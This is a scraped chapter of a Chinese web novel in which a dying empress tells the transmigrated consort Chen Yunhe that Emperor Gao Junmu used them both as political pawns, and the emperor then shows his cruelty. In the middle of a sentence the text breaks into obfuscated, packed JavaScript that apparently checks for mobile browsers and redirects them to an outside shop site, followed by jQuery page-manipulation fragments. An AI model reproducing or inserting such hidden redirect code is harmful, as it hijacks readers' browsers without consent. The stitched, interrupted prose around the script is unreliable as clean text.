24. 他的真面目

作品:《穿越到后宫?我不要宫斗啊!

    “我有话跟云贵妃说,你们都退下吧。”楚兰泱看了陈云鹤身后的春杏一眼。


    云华宫内几个婆子直接将人脱了下去,陈云鹤担忧地坐在床头,眼前的楚兰泱几乎到了油尽灯枯的地步了。


    “我知道你不是真正的陈云鹤,你放心我不会害你,你记住我接下来要说的话。”楚兰泱死死的抓住陈云鹤的手。


    “你可曾想过?陛下当年待你不薄,却为何娶了我?你又可曾想过?为何我又会变成如今的模样?”


    “不知……”


    “陛下,为了楚家的权势而娶我,而我……”楚兰泱说着说着哭了,她的眼神中带着悲伤和麻木。


    楚兰泱的力气极大,陈云鹤整个人都愣住了,自己怎么也没想到会是这样的答案。


    楚兰泱看着陈云鹤的眼睛,回想起了自己的过去,楚兰泱给陈云鹤讲了一个极其悲剧的故事。


    四年前,楚家如日中天,朝堂上的半数文官都与楚家有着或多或少的联系。


    那时的高君牧还只是太子,而楚兰泱也到了考虑联姻的年纪。


    楚兰泱是家中长女,她自幼便便知道自己的姻缘是由不得自己做主的。


    否则也不会拖到十七岁,还没有嫁人。不过那时的她从来也没有想过嫁给太子。


    直到那一封圣旨落到了自己的头上,那时的京都无人不知太子殿下高君牧对陈云鹤一见倾心。


    一时间整个京都风声鹤起,陈云鹤一时间成为笑柄。


    就连本来情投意合的两人,因为这一道圣旨起了争执,楚兰泱没能力反抗,也没什么资格。


    后来入了王府后,高君牧对她还算相敬如宾,不过他们之间始终没有什么感情。


    楚兰泱始终认为是自己拆散了这对有缘人,因此对高君牧的态度也不算心死。


    她从始至终就没有奢求过感情,于是便想着自己哪怕只有高君牧的尊重,也还能活得下去。


    可当高君牧登基之后,一切都变了。


    楚家知道了,楚兰泱怀有身孕,而太医们几乎一致断定腹中绝对是太子。


    楚家意图谋反,直到失败后楚兰泱才得知。她跪在高君牧的前,求着高君牧能看在她的面子上放过自己的妹妹。


    可得到的却是……


    “我娶你只是为了楚家的势力,你不要妄想过多呀!皇后……”


    不过楚兰泱从始至终也没想过靠着高君牧和自己的情分。


    毕竟,这段感情的开始就是相互利用,因此楚兰泱延续了那份利用的风格。


    她挑了一个好日子,一个能让所有人都知道的好日子,她事先先喝了碗堕胎药,然后又跪在在养心殿前。


    那是一个下雨的晚上,楚兰泱不断的感受到自己腹部传来的痛苦,直到自己的身体彻底扛不住,倒在雨中。


    她的身下全是血迹,在那场磅礴的大雨中,楚兰泱用自己的孩子换来了自己妹妹的一条生路。


    群臣皆知,高君牧就算再不愿意夜只能放过楚兰陵。


    她还记得自己一睁开眼时,看见的便是高君牧十分难看的脸。


    他近乎咬牙切齿警告着自己。


    “皇后,你可真是朕的好皇后啊!朕可以给你的妹妹一条生路,那你就一辈子坐在这个位子上好好给朕当一位贤良淑德的好皇后吧……”


    楚兰陵活了下来,但活的也不是很光彩,楚家活着的人基本都被流放了,楚兰陵被养在昔日的楚府里。


    身边的人都被换成高君牧的人,或许是因为楚兰泱的把柄一直都在高君牧手中,楚兰泱没办法背叛,也没办法反抗。


    后宫几乎所有需要稍加试探的事情都是楚兰泱做的,那碗桂花藕粉羹也好,还是先前的巫蛊之术也好。


    至始至终都在高君牧的掌控中,楚兰泱成为最先看透他的人,也是最不能说出的让。


    陈云鹤整个人所知道的一切仿佛都被颠覆了一般,在她的眼里,高君牧是温柔体贴的君子,而她刚刚所听见的一切,完全颠覆了自己所有的想象。


    她不敢相信高君牧从始至终都没有在自己面前露出真正的面目,更何况他的真面目还是如此的狰狞而又丑陋。


    “陈云鹤呀!陈云鹤!你知道你为什么不能在皇后的位子上坐着吗?因为你之前太娇纵了,陈家拥兵自重,他怎么敢放心你成为皇后呢?”


    楚兰泱自嘲地笑着,眼泪却止不住的流了下来,“他怎么能看着又一个楚家出现呢?你和我都只是他的一枚棋子,一枚用来制衡前朝的棋子。”


    “你告诉我这些是做什么?你有什么立场告诉我这些?”陈云鹤十分不愿意相信,也只能无力的去质问楚兰泱。


    “我告诉你,我的痛苦不是为了让你怜悯我,也不是想让你去猜忌,我只是想让你不要踏上我的路。”楚兰泱笑着摸着她的脸,轻轻的为她抚去眼角的泪。


    所以……


    那么久以来,高君牧都在骗自己,那么久以来,甚至都没在自己面前露出国正己真正的样子。


    这个念头在陈云鹤心中疯长着,她整个人仿佛灵魂都被硬生生的剥离,整个人一阵恍惚。


    她怎么办?她能做什么?


    陈云鹤不语,只是眼泪一味的涌出来,不管怎样都擦不干净,都流不干。


    她不知道为什么失去了穿越前的记忆,原身的过去她对此一无所知,她能依靠的也仅仅只是穿越后的那些,可现在楚兰泱将这一切的美好撕破。


    她告诉自己,自己从始至终都只是一个笑话。


    陈云鹤自己也想问一些问题。


    她到底为何而来到这个世界?


    为什么要经受如此痛苦的人是她?


    为什么就连高君牧都在利用她骗她!


    眼泪如同决堤般,难以停止,楚兰泱沉默的看着她,没有责备,只是让她安静的哭着。


    “我知道你现在不知道怎么做,我只是想让你知道高君牧的真面目,毕竟我快死了,我不希望当这一切都结束时,你还蒙蔽在谎言里。”


    陈云鹤总觉得楚兰泱身上有股特


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145501|193322||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    殊的感觉,明明是如此痛苦而又坚决的事情,她似乎总是能够平静的接受,就连死亡也是这样。


    “你别说了,你的病会好的,你不会死的……”陈云鹤声音哽咽着,楚兰泱向着她露出一个勉强的笑。


    “你身边除了那个已经死去的春桃,其他的下人多半都是陛下的人,特别是你身边的春归和春杏。”楚兰泱一边安慰着陈云鹤,一边又不断交待自己谁知道的一切。


    春杏春归不可信,这后宫里她面前能依靠的也只有沈凝竹和杨疏影了。


    陈云鹤记着楚兰泱所说的任何一句话,直到楚兰泱再也没有什么可说的。


    楚兰泱看向窗外的雪由衷地感叹了句。


    “外面的雪可真美呀!我当年入宫的时候也是那样一个雪天,只是可惜了,以后怕是再也看不到了。”


    “别胡说!你能活下去……”


    陈云鹤还没说完,就被“砰”的一声打断,转头看过去,只见原本紧闭的房门被大力的撞开,高君牧脸色铁青的站在门口。


    “阿月,你也在?”高君牧似乎对这样的场面早有打算,甚至对陈云鹤的眼泪都不甚在意,“皇后娘娘的身子好些了吗?”


    “臣妾的身子,臣妾自己知道,臣妾也明白如今后宫的事物都是云贵妃说的算,臣妾也只是希望能够让云贵妃好好照顾自己的妹妹罢了。”


    楚兰泱向陈云鹤使了个眼色,陈云鹤心领神会的接着说:“姐姐,你放心,臣妾一定会替你好好照顾妹妹的。”


    高君牧脸色稍微缓解了些,陈云鹤的眼神依旧如同平常般含情脉脉。


    “阿月,你先回去吧,朕有些话要与皇后娘娘说。”


    还没到陈云鹤作何反应,其他人便向陈云鹤的方向靠近,陈云鹤硬着头皮给高君牧行了个礼退了下去。


    华玉宫内,陈云鹤十分焦急,对外面任何一点风吹草动都让陈云鹤坐立难安。


    “阿月?”高君牧推开门,陈云鹤强撑着笑着,轻轻的唤了声,“陛下。”


    “阿月,皇后身子实在是不行了……”高君牧十分自然地坐在椅子上,身后的太监将一道道佳肴摆在桌子上。


    “臣妾会好好照顾郡主的,请陛下放心。”陈云鹤为高君牧斟酒,她深知现在可不能暴露太多。


    “阿月,不!陈云鹤……”高君牧笑眯眯的看着陈云鹤,明明是笑着的,可那明晃晃的恶意还是毫无保留的显露了出来。


    “陛下?”


    “你知道为什么朕要和鞑靼和亲了吗?”高君牧将酒洒在地上,地毯上流下十分明显的一道水渍。


    “臣妾不知。”陈云鹤一股悲凉涌在了在心口,看来现在高君牧已经猜到了皇后和她说了什么。


    什么温文尔雅的君子模样?什么善解人意的好夫君?


    现在真是一点都不肯伪装了。


    “因为,我与鞑靼做了个交易啊……”


    陈云鹤的心凉了半截,不好的念头涌了上来,看向高君牧那一副笑面虎的模样,心彻底死了。